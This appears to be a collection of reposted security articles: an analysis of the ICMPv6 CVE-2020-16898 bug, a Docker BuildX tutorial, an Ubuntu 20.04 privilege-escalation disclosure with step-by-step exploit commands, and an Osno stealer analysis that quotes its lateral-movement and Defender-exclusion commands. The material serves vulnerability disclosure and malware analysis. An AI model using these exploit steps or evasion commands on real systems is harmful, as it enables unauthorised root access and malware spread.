Exploring the Exploitability of “Bad Neighbor”: The Recent ICMPv6 Vulnerability (CVE-2020-16898)

Exploring the Exploitability of “Bad Neighbor”: The Recent ICMPv6 Vulnerability (CVE-2020-16898)

Original text by FOLLOW ZECOPS

At the Patch Tuesday on October 13, Microsoft published a patch and an advisory for CVE-2020-16898, dubbed “Bad Neighbor”, which was undoubtedly the highlight of the monthly series of patches. The bug has received a lot of attention since it was published as an RCE vulnerability, meaning that with a successful exploitation it could be made wormable. Initially, it was graded with a high CVSS score of 9.8/10, though it was later lowered to 8.8.

In days following the publication, several write-ups and POCs were published. We looked at some of them:

The writeup by pi3 contains details that are not mentioned in the writeup by Quarkslab. It’s important to note that the bug can only be exploited when the source address is a link-local address. That’s a significant limitation, meaning that the bug cannot be exploited over the internet. In any case, both writeups explain the bug in general and then dive into triggering a buffer overflow, causing a system crash, without exploring other options.

We wanted to find out whether something else could be done with this vulnerability, aside from triggering the buffer overflow and causing a blue screen (BSOD)

In this writeup, we’ll share our findings.

The bug in a nutshell

The bug happens in the tcpip!Ipv6pHandleRouterAdvertisement function, which is responsible for handling incoming ICMPv6 packets of the type Router Advertisement (part of the Neighbor Discovery Protocol).

The packet structure is (RFC 4861):

As can be seen from the packet structure, the packet consists of a 16-bytes header, followed by a variable amount of option structures. Each option structure begins with a type field and a length field, followed by specific fields for the relevant option type.

The bug happens due to an incorrect handling of the Recursive DNS Server Option (type 25, RFC 5006):

The Length field defines the length of the option in units of 8 bytes. The option header size is 8 bytes, and each IPv6 address adds additional 16 bytes to the length. That means that if the structure contains n IPv6 addresses, the length is supposed to be set to 1+2*n. The bug happens when the length is an even number, causing the code to incorrectly interpret the beginning of the next option structure.

Visualizing the POC of 0xeb-bp

As a starting point, let’s visualize 0xeb-bp’s POC and get some intuition about what’s going on and why it causes a stack overflow. Here is the ICMPv6 packet as constructed in the source code:

As you can see, the ICMPv6 packet is followed by two Recursive DNS Server options (type 25), and then a 256-bytes buffer. The two options have an even length of 4, which triggers the bug.

The tcpip!Ipv6pHandleRouterAdvertisement function that parses the packet does two iterations over the option structures. The first iteration does simple checks such as verifying the length field of the structures. The second iteration actually parses the option structures. Because of the bug, each iteration interprets the packet differently.

Here’s how the first iteration sees the packet:

Each option structure is just skipped according to the length field after doing some basic checks.

Here’s how the second iteration sees it:

This time, in the case of a Recursive DNS Server option, the length field is used to determine the amount of IPv6 addresses, which is calculated as following:

amount_of_addr = (length – 1) / 2

Then, the IPv6 addresses are processed, and the next iteration continues after the last processed IPv6 address, which, in case of an even length value, happens to be in the middle of the option structure compared to what the first iteration sees. This results in processing an option structure which wasn’t validated in the first iteration. 

Specifically in this POC, 34 is not a valid length for option of the type 24, but because it wasn’t validated, the processing continues and too many bytes are copied on the stack, causing a stack overflow. Noteworthy, fragmentation is required for triggering the stack overflow (see the Quarkslab writeup for details).

Zooming out

Now we know how to trigger a stack overflow using CVE-2020-16898, but what are the checks that are made in each of the mentioned iterations? What other checks, aside from the length check, can we bypass using this bug? Which option types are supported, and is the handling different for each of them? 

We didn’t find answers to these questions in any writeup, so we checked it ourselves.

Here are the relevant parts of the Ipv6pHandleRouterAdvertisement function, slightly simplified:

if (!IsLinkLocalAddress(SrcAddress) && !IsLoopbackAddress(SrcAddress))
    // error

// Initialization and other code...

NET_BUFFER NetBuffer = /* ... */;

// First loop
while (NetBuffer->DataLength >= 2)
    BYTE TempTypeLen[2];
    BYTE* TempTypeLenPtr = NdisGetDataBuffer(NetBuffer, 2, TempTypeLen, 1, 0);
    WORD OptionLenInBytes = TempTypeLenPtr[1] * 8;
    if (OptionLenInBytes == 0 || OptionLenInBytes > NetBuffer->DataLength)
        // error

    BYTE OptionType = TempTypeLenPtr[0];
    switch (OptionType)
    case 1: // Source Link-layer Address
        // ...

    case 3: // Prefix Information
        if (OptionLenInBytes != 0x20)
            // error

        BYTE TempPrefixInfo[0x20];
        BYTE* TempPrefixInfoPtr = NdisGetDataBuffer(NetBuffer, 0x20, TempPrefixInfo, 1, 0);
        BYTE PrefixInfoPrefixLength = TempRouteInfoPtr[2];
        if (PrefixInfoPrefixLength > 128)
            // error

    case 5: // MTU
        // ...

    case 24: // Route Information Option
        if (OptionLenInBytes > 0x18)
            // error

        BYTE TempRouteInfo[0x18];
        BYTE* TempRouteInfoPtr = NdisGetDataBuffer(NetBuffer, 0x18, TempRouteInfo, 1, 0);
        BYTE RouteInfoPrefixLength = TempRouteInfoPtr[2];
        if (RouteInfoPrefixLength > 128 ||
            (RouteInfoPrefixLength > 64 && OptionLenInBytes < 0x18) ||
            (RouteInfoPrefixLength > 0 && OptionLenInBytes < 0x10))
            // error

    case 25: // Recursive DNS Server Option
        if (OptionLenInBytes < 0x18)
            // error

        // Added after the patch - this it the fix
        //if (OptionLenInBytes - 8 % 16 != 0)
        //    // error

    case 31: // DNS Search List Option
        if (OptionLenInBytes < 0x10)
            // error

    NetBuffer->DataOffset += OptionLenInBytes;
    NetBuffer->DataLength -= OptionLenInBytes;
    // Other adjustments for NetBuffer...

// Rewind NetBuffer and do other stuff...

// Second loop...
while (NetBuffer->DataLength >= 2)
    BYTE TempTypeLen[2];
    BYTE* TempTypeLenPtr = NdisGetDataBuffer(NetBuffer, 2, TempTypeLen, 1, 0);
    WORD OptionLenInBytes = TempTypeLenPtr[1] * 8;
    if (OptionLenInBytes == 0 || OptionLenInBytes > NetBuffer->DataLength)
        // error

    BOOL AdvanceBuffer = TRUE;

    BYTE OptionType = TempTypeLenPtr[0];
    switch (OptionType)
    case 3: // Prefix Information
        BYTE TempPrefixInfo[0x20];
        BYTE* TempPrefixInfoPtr = NdisGetDataBuffer(NetBuffer, 0x20, TempPrefixInfo, 1, 0);
        BYTE PrefixInfoPrefixLength = TempRouteInfoPtr[2];
        // Lots of code. Assumptions:
        // PrefixInfoPrefixLength <= 128

    case 24: // Route Information Option
        BYTE TempRouteInfo[0x18];
        BYTE* TempRouteInfoPtr = NdisGetDataBuffer(NetBuffer, 0x18, TempRouteInfo, 1, 0);
        BYTE RouteInfoPrefixLength = TempRouteInfoPtr[2];
        // Some code. Assumptions:
        // PrefixInfoPrefixLength <= 128
        // Other, less interesting assumptions about PrefixInfoPrefixLength

    case 25: // Recursive DNS Server Option
        Ipv6pUpdateRDNSS(..., NetBuffer, ...);
        AdvanceBuffer = FALSE;

    case 31: // DNS Search List Option
        Ipv6pUpdateDNSSL(..., NetBuffer, ...);
        AdvanceBuffer = FALSE;

    if (AdvanceBuffer)
        NetBuffer->DataOffset += OptionLenInBytes;
        NetBuffer->DataLength -= OptionLenInBytes;
        // Other adjustments for NetBuffer...

// More code...


As can be seen from the code, only 6 option types are supported in the first loop, the others are ignored. In any case, each header is skipped precisely according to the Length field.

Even less options, 4, are supported in the second loop. And similarly to the first loop, each header is skipped precisely according to the Length field, but this time with two exceptions: types 24 (the Route Information Option) and 25 (Recursive DNS Server Option) have functions which adjust the network buffer pointers by themselves, creating an opportunity for inconsistencies. 

That’s exactly what is happening with this bug – the Ipv6pUpdateRDNSS function doesn’t adjust the network buffer pointers as expected when the length field is even.

Breaking assumptions

Essentially, this bug allows us to break the assumptions made by the second loop that are supposed to be verified in the first loop. The only option types that are relevant are the 4 types which appear in both loops, that’s also why we didn’t include the other 2 in the code of the first loop. One such assumption is the value of the length field, and that’s how the buffer overflow POC works, but let’s revisit them all and see what can be achieved.

  • Option type 3 – Prefix Information
    • The option structure size must be 0x20 bytes. Breaking this assumption is what allows us to trigger the stack overflow, by providing a larger option structure. We can also provide a smaller structure, but that doesn’t have much value in this case.
    • The Prefix Length field value must be at most 128. Breaking this assumption allows us to set the field to an invalid value in the range of 129-255. This can indeed be used to cause an out-of-bounds data write, but in all such cases that we could find, the out-of-bounds write happens on the stack in a location which is overridden later anyway, so causing such out-of-bounds writes has no practical value.

      For example, one such out-of-bounds write happens in tcpip!Ipv6pMakeRouteKey, called by tcpip!IppValidateSetAllRouteParameters.
  • Option type 24 – Route Information Option
    • The option structure size must not be larger than 0x18 bytes. Same implications as for option type 3.
    • The Prefix Length field value must be at most 128. Same implications as for option type 3.
    • The Prefix Length field value must fit the structure option size. That isn’t really interesting since any value in the range 0-128 is handled correctly. The worst thing that could happen here is a small out-of-bounds read.
  • Option type 25 – Recursive DNS Server Option
    • The option structure size must not be smaller than 0x18 bytes. This isn’t interesting, since the size must be at least 8 bytes anyway (the length field is verified to be larger than zero in both loops), and any such structure is handled correctly, even though a size of 8-bytes is not valid according to the specification.
    • The option structure size must be in the form of 8+n*16 bytes. This check was added after fixing CVE-2020-16898.
  • Option type 31 – DNS Search List Option
    • The option structure size must not be smaller than 0x10 bytes. Same implications as for option type 25.

As you can see, there was a slight chance of doing something other than the demonstrated stack overflow by breaking the assumption of the valid prefix length value for option type 3 or 24. Even though it’s literally about smuggling a single bit, sometimes that’s enough. But it looks like this time we weren’t that lucky.

Revisiting the Stack Overflow

Before giving up, we took a closer look at the stack. The POCs that we’ve seen are overriding the stack such that the stack cookie (the __security_cookie value) is overridden, causing a system crash before the function returns.

We checked whether overriding anything on the stack can help achieve code execution before the function returns. That can be a local variable in the “Local variables (2)” space, or any variable in the previous frames that might be referenced inside the function. Unfortunately, we came to the conclusion that all the variables in the “Local variables (2)” space are output buffers that are modified before access, and no data from the previous frames is accessed.


We conclude with high confidence that CVE-2020-16898 is not exploitable without an additional vulnerability. It is possible that we may have missed something. Any insights / feedback is welcome. Even though we weren’t able to exploit the bug, we enjoyed the research, and we hope that you enjoyed this writeup as well.

Preparation toward running Docker on ARM Mac: Building multi-arch images with Docker BuildX

Preparation toward running Docker on ARM Mac: Building multi-arch images with Docker BuildX

Original text by Akihiro Suda

Today, Apple announced that they will ditch Intel and switch to ARM-based chips. This means that Docker for Mac will only be able to run ARM images natively.

o, Docker will no longer be useful when you want to run the same image on Mac and on x86_64 cloud instances? Nope. Docker will remain useful, as long as the image is built with support for multi-architectures.

Image for post

If you are still building images only for x86_64, you should switch your images to multi-arch as soon as possible, ahead of the actual release of ARM Mac.

Note: ARM Mac will be probably able to run x86_64 images via an emulator, but the performance penalty will be significant.

Building multi-arch images with Docker BuildX

To build multi-architecture images, you need to use Docker BuildX plugin (docker buildx build ) instead of the well-known docker build command.

If you have already heard about the BuildKit mode ( export DOCKER_BUILDKIT=1 ) of the built-in docker build command, you might be confused now, and you might be wondering BuildKit was deprecated. No worry, BuildKit is still alive. Actually Docker BuildX is built on BuildKit technology as well, but significantly enhanced compared to the BuildKit mode of the built-in docker build. Aside from multi-arch build, Docker BuildX also comes with a lot of innovative features such as distributed build on Kubernetes clusters. See my previous post for the further information.

Docker BuildX is installed by default if you are using Docker for Mac on macOS. If you are using Docker for Linux on your own Linux VM (or baremetal Linux), you might need to install Docker BuildX separately. See https://github.com/docker/buildx#installing for the installation steps on Linux.

The three options for multi-arch build

Docker BuildX provides the three options for building multi-arch images:

  1. QEMU mode (easy, slow)
  2. Cross-compilation mode (difficult, fast)
  3. Remote mode (easy, fast, but needs an extra machine)

The easiest option is to use QEMU mode (Option 1), but it incurs significant performance penalty. So, using cross compilation (Option 2) is recommended if you don’t mind adapting Dockerfiles for cross compilation toolchains. If you already have an ARM machine (doesn’t need to be Mac of course), the third option is probably the best choice for you.

Option 1: QEMU mode (easy, slow)

This mode uses QEMU User Mode Emulation for running ARM toolchains on a x86_64 Linux environment. Or the quite opposite after the actual release of ARM Mac: x86_64 toolchains on ARM.

The QEMU integration is already enabled by default on Docker for Mac. If you are using Docker for Linux, you need to enable the QEMU integration using the linuxkit/binfmt tool:

$ uname -sm
Linux x86_64$ docker run --rm --privileged linuxkit/binfmt:v0.8$ ls -1 /proc/sys/fs/binfmt_misc/qemu-*

Then initialize Docker BuildX as follows. This step is required on Docker for Mac as well as on Docker for Linux.

$ docker buildx create --use --name=qemu$ docker buildx inspect --bootstrap
Name: qemu0
Endpoint: unix:///var/run/docker.sock
Status: running
Platforms: linux/amd64, linux/arm64, linux/riscv64, linux/ppc64le, linux/s390x, linux/386, linux/arm/v7, linux/arm/v6

Make sure the command above shows both linux/amd64 andlinux/arm64 as the supported platforms.

As an example, let’s try dockerizing a “Hello, world” application (GNU Hello) for these architectures. Here is the Dockerfile:

FROM debian:10 AS build
RUN apt-get update && \
apt-get install -y curl gcc make
RUN curl https://ftp.gnu.org/gnu/hello/hello-2.10.tar.gz | tar xz
WORKDIR hello-2.10
RUN LDFLAGS=-static \
./configure && \
make && \
mkdir -p /out && \
mv hello /outFROM scratch
COPY --from=build /out/hello /hello
ENTRYPOINT ["/hello"]

This Dockerfile doesn’t need to have anything specific to ARM, because QEMU can cover the architecture differences between x86_64 and ARM.

The image can be built and pushed to a registry using the following command. It took 498 seconds on my MacBookPro 2016.

$ docker buildx build \
--push -t example.com/hello:latest \
--platform=linux/amd64,linux/arm64 .
[+] Building 498.0s (17/17) FINISHED

The images contains binaries for both x86_64 and ARM. The image can be executed on any machine with these architectures, without enabling QEMU.

$ docker run --rm example.com/hello:latest
Hello, world!$ ssh me@my-arm-instance[me@my-arm-instance]$ uname -sm
Linux aarch64[me@my-arm-instance]$ docker run --rm example.com/hello:latest
Hello, world!

Option 2: Cross-compilation mode (difficult, fast)

The QEMU mode incurs significant performance penalty for interpreting ARM instructions on x86_64 (or x86_64 on ARM after the actual release of ARM Mac). If the QEMU mode is too slow for your application, consider using the cross-compilation mode instead.

To cross-compile the GNU Hello example, you need to modify the Dockerfile significantly:

FROM --platform=$BUILDPLATFORM debian:10 AS build
RUN apt-get update && \
apt-get install -y curl gcc make
RUN curl -o /cross.sh https://raw.githubusercontent.com/tonistiigi/binfmt/18c3d40ae2e3485e4de5b453e8460d6872b24d6b/binfmt/scripts/cross.sh && chmod +x /cross.sh
RUN curl https://ftp.gnu.org/gnu/hello/hello-2.10.tar.gz | tar xz
WORKDIR hello-2.10
RUN /cross.sh install gcc | sh
RUN LDFLAGS=-static \
./configure --host $(/cross.sh cross-prefix) && \
make && \
mkdir -p /out && \
mv hello /outFROM scratch
COPY --from=build /out/hello /hello
ENTRYPOINT ["/hello"]

This Dockerfile contains two essential variables: BUILDPLATFORM and TARGETPLATFORM .

BUILDPLATFORM is pinned to the host platform ("linux/amd64" ). TARGETPLATFORM is conditionally set to the target platforms ( "linux/amd64" and "linux/arm64" ) and is used for setting up cross compilation tool chains like aarch64-linux-gnu-gcc via a helper script cross.sh . This kind of helper script can be a mess depending on the application’s build scripts, especially in C applications.

For comparison, cross-compiling Go programs is relatively straightforward:

FROM --platform=$BUILDPLATFORM golang:1.14 AS build
RUN go get github.com/golang/example/hello && \
go build -o /out/hello github.com/golang/example/helloFROM scratch
COPY --from=build /out/hello /hello
ENTRYPOINT ["/hello"]

The image can be built and pushed as follows without enabling QEMU. Cross-compiling GNU hello took only 95.3 seconds.

$ docker buildx create --use --name=cross$ docker buildx inspect --bootstrap cross
Name: cross0
Endpoint: unix:///var/run/docker.sock
Status: running
Platforms: linux/amd64, linux/386$ docker buildx build \
--push -t example.com/hello:latest \
--platform=linux/amd64,linux/arm64 .
[+] Building 95.3s (16/16) FINISHED

Option 3: Remote mode (easy, fast, but needs an extra machine)

The third option is to use a real ARM machine (e.g. an Amazon EC2 A1 instance) for compiling ARM binaries. This option is as easy as Option 1 and yet as fast as Option 2.

To use this option, you need to have an ARM machine accessible via docker CLI. The easiest way is to use ssh://<USERNAME>@<HOST> URL as follows:

$ docker -H ssh://me@my-arm-instance info
Architecture: aarch64

Also, depending on the network configuration, you might want to add ControlPersist settings in ~/.ssh/config for faster and stabler SSH connection.

ControlMaster auto
ControlPath ~/.ssh/control-%C
ControlPersist yes

This remote ARM instance can be registered to Docker BuildX using the following commands:

$ docker buildx create --name remote --use$ docker buildx create --name remote \
--append ssh://me@my-arm-instance$ docker buildx build \
--push -t example.com/hello:latest \
--platform=linux/amd64,linux/arm64 .
[+] Building 113.4s (22/22) FINISHED

The Dockerfile is same as Option 1.

FROM debian:10 AS build
RUN apt-get update && \
apt-get install -y curl gcc make
RUN curl https://ftp.gnu.org/gnu/hello/hello-2.10.tar.gz | tar xz
WORKDIR hello-2.10
RUN LDFLAGS=-static \
./configure && \
make && \
mkdir -p /out && \
mv hello /outFROM scratch
COPY --from=build /out/hello /hello
ENTRYPOINT ["/hello"]

In this example, an Intel Mac is used as the local and an ARM machine is used as the remote. But after the release of actual ARM Mac, you will do the opposite: use an ARM Mac as the local and an x86_64 machine as the remote.

Performance comparison

  1. QEMU mode: 498.0s
  2. Cross-compilation mode: 95.3s
  3. Remote mode: 113.4s

The QEMU mode is the easiest, but taking 498 seconds seems too slow for compiling “hello world”. The cross-compilation mode is the fastest but modifying Dockerfile can be a mess. I suggest using the remote mode whenever possible.

We’re hiring!

NTT is looking for engineers who work in Open Source communities like Kubernetes & Docker projects. If you wish to work on such projects please do visit our recruitment page.

To know more about NTT contribution towards open source projects please visit our Software Innovation Center page. We have a lot of maintainers and contributors in several open source projects.

Our offices are located in the downtown area of Tokyo (Tamachi, Shinagawa) and Musashino.

How to get root on Ubuntu 20.04 by pretending nobody’s /home

How to get root on Ubuntu 20.04 by pretending nobody’s /home

Original text by Kevin Backhouse

I am a fan of Ubuntu, so I would like to help make it as secure as possible. I have recently spent quite a bit of time looking for security vulnerabilities in Ubuntu’s system services, and it has mostly been an exercise in frustration. I have found (and reported) a few issues, but the majority have been low severity. Ubuntu is open source, which means that many people have looked at the source code before me, and it seems like all the easy bugs have already been found. In other words, I don’t want this blog post to give you the impression that Ubuntu is full of trivial security bugs; that’s not been my impression so far.

This blog post is about an astonishingly straightforward way to escalate privileges on Ubuntu. With a few simple commands in the terminal, and a few mouse clicks, a standard user can create an administrator account for themselves. I have made a short demo video, to show how easy it is.

It’s unusual for a vulnerability on a modern operating system to be this easy to exploit. I have, on some occasions, written thousands of lines of code to exploit a vulnerability. Most modern exploits involve complicated trickery, like using a memory corruption vulnerability to forge fake objects in the heap, or replacing a file with a symlink with microsecond accuracy to exploit a TOCTOU vulnerability. So these days it’s relatively rare to find a vulnerability that doesn’t require coding skills to exploit. I also think the vulnerability is easy to understand, even if you have no prior knowledge of how Ubuntu works or any security research experience.

Disclaimer: For someone to exploit this vulnerability, they need access to the graphical desktop session of the system, so this issue affects desktop users only.

Exploitation steps

Here is a description of the exploitation steps, as shown in the demo video.

First, open a terminal and create a symlink in your home directory:

ln -s /dev/zero .pam_environment

(If that doesn’t work because a file named .pam_environment already exists, then just temporarily rename the old file so that you can restore it later.)

Next, open “Region & Language” in the system settings and try to change the language. The dialog box will freeze, so just ignore it and go back to the terminal. At this point, a program named accounts-daemon is consuming 100% of a CPU core, so your computer may become sluggish and start to get hot.

In the terminal, delete the symlink. Otherwise you might lock yourself out of your own account!

rm .pam_environment

The next step is to send a SIGSTOP signal to accounts-daemon to stop it from thrashing that CPU core. But to do that, you first need to know accounts-daemon’s process identifier (PID). In the video, I do that by running top, which is a utility for monitoring the running processes. Because accounts-daemon is stuck in an infinite loop, it quickly goes to the top of the list. Another way to find the PID is with the pidof utility:

$ pidof accounts-daemon

Armed with accounts-daemon’s PID, you can use kill to send the SIGSTOP signal:

kill -SIGSTOP 597

Your computer can take a breather now.

Here is the crucial step. You’re going to log out of your account, but first you need to set a timer to reset accounts-daemon after you have logged out. Otherwise you’ll just be locked out and the exploit will fail. (Don’t worry if this happens: everything will be back to normal after a reboot.) This is how to set the timer:

nohup bash -c "sleep 30s; kill -SIGSEGV 597; kill -SIGCONT 597"

The nohup utility is a simple way to leave a script running after you have logged out. This command tells it to run a bash script that does three things:

  1. Sleep for 30 seconds. (You just need to give yourself enough time to log out. I set it to 10 seconds for the video.)
  2. Send accounts-daemon a SIGSEGV signal, which will make it crash.
  3. Send accounts-daemon a SIGCONT signal to deactivate the SIGSTOP, which you sent earlier. The SIGSEGV won’t take effect until the SIGCONT is received.

Once completed, log out and wait a few seconds for the SIGSEGV to detonate. If the exploit is successful, then you will be presented with a series of dialog boxes which let you create a new user account. The new user account is an administrator account. (In the video, I run id to show that the new user is a member of the sudo group, which means that it has root privileges.)


How does it work?

Stay with me! Even if you have no prior knowledge of how Ubuntu (or more specifically, GNOME) works, I reckon I can explain this vulnerability to you. There are actually two bugs involved. The first is in accountsservice, which is a service that manages user accounts on the computer. The second is in GNOME Display Manager (gdm3), which, among other things, handles the login screen. I’ll explain each of these bugs separately below.

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

The accountsservice daemon (accounts-daemon) is a system service that manages user accounts on the machine. It can do things like create a new user account or change a user’s password, but it can also do less security-sensitive things like change a user’s icon or their preferred language. Daemons are programs that run in the background and do not have their own user interface. However, the systems settings dialog box can communicate with accounts-daemon via a message system known as D-Bus.

System Settings: Users

System Settings: Region & Language

In the exploit, I use the systems settings dialog box to change the language. A standard user is allowed to change that setting on their own account — administrator privileges are not required. Under the hood, the systems services dialog box sends the org.freedesktop.Accounts.User.SetLanguage command to accounts-daemon, via D-Bus.

It turns out that Ubuntu uses a modified version of accountsservice that includes some extra code that doesn’t exist in the upstream version maintained by freedesktop. Ubuntu’s patch adds a function named is_in_pam_environment, which looks for a file named .pam_environment in the user’s home directory and reads it. The denial of service vulnerability works by making .pam_environment a symlink to /dev/zero/dev/zero is a special file that doesn’t actually exist on disk. It is provided by the operating system and behaves like an infinitely long file in which every byte is zero. When is_in_pam_environment tries to read .pam_environment, it gets redirected to /dev/zero by the symlink, and then gets stuck in an infinite loop because /dev/zero is infinitely long.

There’s a second part to this bug. The exploit involves crashing accounts-daemon by sending it a SIGSEGV. Surely a standard user shouldn’t be allowed to crash a system service like that? They shouldn’t, but accounts-daemon inadvertently allows it by dropping privileges just before it starts reading the user’s .pam_environment. Dropping privileges means that the daemon temporarily forfeits its root privileges, adopting instead the lower privileges of the user. Ironically, that’s intended to be a security precaution, the goal of which is to protect the daemon from a malicious user who does something like symlinking their .pam_environment to /etc/shadow, which is a highly sensitive file that standard users aren’t allowed to read. Unfortunately, when done incorrectly, it also grants the user permission to send the daemon signals, which is why we’re able to send accounts-daemon a SIGSEGV.

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

GNOME Display Manager (gdm3) is a fundamental component of Ubuntu’s user interface. It handles things like starting and stopping user sessions when they log in and out. It also manages the login screen.

gdm3 login screen

Another thing handled by gdm3 is the initial setup of a new computer. When you install Ubuntu on a new computer, one of the first things that you need to do is create a user account. The initial user account needs to be an administrator so that you can continue setting up the machine, doing things like configuring the wifi and installing applications. Here is a screenshot of the initial setup screen (taken from the exploit video):


The dialog box that you see in the screenshot is a separate application, called gnome-initial-setup. It is triggered by gdm3 when there are zero user accounts on the system, which is the expected scenario during the initial setup of a new computer. How does gdm3 check how many users there are on the system? You probably already guessed it: by asking accounts-daemon! So what happens if accounts-daemon is unresponsive? The relevant code is here.

It uses D-Bus to ask accounts-daemon how many users there are, but since accounts-daemon is unresponsive, the D-Bus method call fails due to a timeout. (In my testing, the timeout took around 20 seconds.) Due to the timeout error, the code does not set the value of priv->have_existing_user_accounts. Unfortunately, the default value of priv->have_existing_user_accounts is false, not true, so now gdm3 thinks that there are zero user accounts and it launches gnome-initial-setup.

How did I find it?

I have a confession to make: I found this bug completely by accident. This is the message that I sent to my colleagues at approximately 10pm BST on October 14:

I just got LPE by accident, but I am not quite sure how to reproduce it. 🤦

Here’s what happened: I had found a couple of denial-of-service vulnerabilities in accountsservice. I considered them low severity, but was writing them up for a vulnerability report to send to Ubuntu. Around 6pm, I stopped work and closed my laptop lid. Later in the evening, I opened the laptop lid and discovered that I was locked out of my account. I had been experimenting with the .pam_environment symlink and had forgotten to delete it before closing the lid. No big deal: I used Ctrl-Alt-F4 to open a console, logged in (the console login was not affected by the accountsservice DOS), and killed accounts-daemon with a SIGSEGV. I didn’t need to use sudo due to the privilege dropping vulnerability. The next thing I knew, I was looking at the gnome-initial-setup dialog boxes, and was amazed to discover that I was able to create a new user with administrator privileges.

Unfortunately, when I tried to reproduce the same sequence of steps, I couldn’t get it to work again. I checked the system logs for clues, but there wasn’t much information because I didn’t have gdm’s debug messages enabled. The exploit that I have since developed requires the user to log out of their account, but I definitely didn’t do that on the evening of October 14. So it remains a mystery how I accidentally triggered the bug that evening.

Later that evening, I sent further messages to my (US-based) colleagues describing what had happened. Talking about the dialog boxes helped to jog my memory about something that I had noticed recently. Many of the system services that I have been looking at use policykit to check whether the client is authorized to request an action. I had noticed a file called gnome-initial-setup.pkla, which is a policykit configuration file that grants a user named gnome-initial-setup the ability to do a number of security-sensitive things, such as mounting filesystems and creating new user accounts. So I said to my colleagues: “I wonder if it has something to do with gnome-initial-setup,” and Bas Alberts almost immediately jumped in with a hypothesis that turned out to be right on the money: “You tricked gdm into launching gnome-initial-setup, I reckon, which maybe happens if a gdm session can’t verify that an account already exists.”

After that, it was just a matter of finding the code in gdm3 that triggers gnome-initial-setup and figuring out how to trigger it while accounts-daemon is unresponsive. I found that the relevant code is triggered when a user logs out.

And that’s the story of how the end of my workday was the start of an 0-day!

Babax stealer rebrands to Osno, installs rootkit

Babax stealer rebrands to Osno, installs rootkit

Original text Karsten Hahn

Babax not only changes its name but also adds a Ring 3 rootkit and lateral spreading capabilities. Furthermore it has a ransomware component called OsnoLocker. Is this combination as dangerous as it sounds?

Emergence of Babax and Osno

Babax stealer is at least around since June 2019. At that time a user named ForlayPy gave away the source code for free after being dissatisfied with a customer they sold the source to.

A colleague of mine discovered the first Osno stealer sample[1] on 5th October 2020. The sample[1] is a packed .NET assembly with the module name FallGuysStats. The module name indicates that it is using a statistics generator for the Steam game Fall Guys as a lure. The config shows version Osno 2.1.5 and has placeholders for some of the functions, including FTP and Telegram settings.

By the end of October researcher @backsla3h noted that the stealer is sold on forums. The advertisment comparison of Babax and Osno shows not only an increased price but also four more features or «Benefits» for Osno: r77 and network spreading, Anti-AV and evasion of WindowsDefender via allowlist, AnarchyGrabber and microphone records. Additionally there is a ransomware module which is not advertised (yet). Most of these features are described in the following sections.

Rootkit r77

Although the advertisment calls this an exploit, it is actually an open source rootkit by bytecode77. The Github repo provides DLL’s for this rootkit as well as an installer. Osno does the installation itself. Just like the rootkit installer, Osno registers the rootkit DLL to AppInit_DLLs and enables LoadAppInit_DLLs so it is loaded with every process. Because the rookit DLLs are not signed, it sets RequireSignedAppInit_DLLs to 0.

The rootkit uses MinHook to redirect WinAPI calls, so that it hides processes and file names, e.g., from explorer and taskmanager. The proof-of-concept binaries for the rootkit hide files and processes that start with «$77». Since Osno uses the proof-of-concept binaries, it needs to add the prefix «$77» to its own files to make it work.

File hiding demonstration by r77 rootkit. Image from https://github.com/bytecode77/r77-rootkit

The Github README.md for r77 states that the rootkit is still work in progress. Because of that hiding files for x86 is currently unstable and disabled in the proof-of-concept files.

Lateral movement via SharpExec

Osno collects all accessible IP adresses in the local network, then downloads SharpExec binaries from Github. SharpExec is a tool with various commands for lateral movement. Osno executes the following command for every collected IP and domain:

<sharpexec> -m=psexec -i=<collected-ip> -d=<collected-domain> -f=<path-in:%TEMP%/gpustats.bx> -e=%TEMP%/<randomname>

The file gpustats.bx contains the path to the Osno executable. This command attempts to upload Osno to the given IP into the %TEMP% folder and executes it. That way Osno is able to spread to all accessible computers within the network.


The following Anti-AV features are those of the unpacked Osnoe sample[2]. The packer stub itself has also Anti-AV which is beyond the scope of this article.

Windows Defender

Osno adds its own path and the root of drive C: as exclusion folder for Windows Defender using the following PowerShell commands:

Add-MpPreference -ExclusionPath C:\
Add-MpPreference -ExclusionPath <path-to-malware>

This can only be successful if the malware has already gotten foothold on the system and obtained administrator privileges.

Other AVs

Osno searches for Window titles and process names to kill the processes of Antivirus software. It does this for the following window titles and process names:

  • Window title «Malwarebytes Anti-Malware» and process name either mbamgui or mbam
  • Process names: avgidsagent, avgfws, avgtray, avgemcx, avgwdsvc, avgnsx, avgcsrvx, avgrsx, Toolbar Updater

That means only Malwarebytes Anti-Malware and AVG are affected.

Osno ransomware is a wiper

Osno ransomware, or OsnoLocker as it is called in the code, has an implementation for XXTEA. However, it is not used in the current sample. Instead it overwrites the original content of the files with a marker. The marker is the string «OsnoRansom» appended by a randomly created string of length 50-200 characters consisting of uppercase letters A-Z and digits 0-9. Described as a regex this would be ^OsnoRansom([A-Z0-9]){50,200}$. The randomly created string will be different for every affected file.

OsnoLocker adds the .osnoed extension to these files.

OsnoLocker puts a ransom message into a file called RecInstruct.osnoned (sic!). It proceeds to write an executable to disk named Osno Decryptor.exe[3] whose purpose is to lock the screen, display the ransom message that was placed in RecInstruct.osnoned and ask for a decryption code. This Osno Decryptor.exe has the module name FakeRansomware.

Osno is a wiper in its current form and payment will not help to get any files back. Recovery of files via shadow volumes copies can work, though. Future versions of Osno might use the already implemented XXTEA to encrypt files.

AnarchyGrabber and other copied tools

Osno stealer implements the code of AnarchyGrabber 3. An article by Bleepingcomputer describes the additional features of the latest AnarchyGrabber version. Just like that version, Osno will force Discord to load JScript files inject.js and discordmod.js. To do that it puts the JScript files into the folder %AppData%\Discord\<version>\modules\discord_desktop_core\osno. Discord will then act as a stealer.

Another tool that this Osno sample uses is Da pure C++ Clipper[4]. A native binary for clipbanking.

Furthermore, @backsla3h pointed out that the RunPE method and VM/Debugger/Sandbox detection code are taken from CSharp-RunPE and Anti-Analysis by NYAN-x-CAT.

So we have already identified six different copied sources and tools that are deployed by Osno: SharpExec, AnarchyGrabber, Da Pure C++ Clipper, CSharp-RunPE, Anti-Analysis, r77 rootkit. It is likely that there are more copied sources in those functions I didn’t look at as they are beyond the scope of this article.


Osno is not just a stealer anymore. Although that is still the main focus, the added capabilities pose a more serious threat, especially RDP access, lateral movement and file destruction.

However, none of that seems particularly scary.

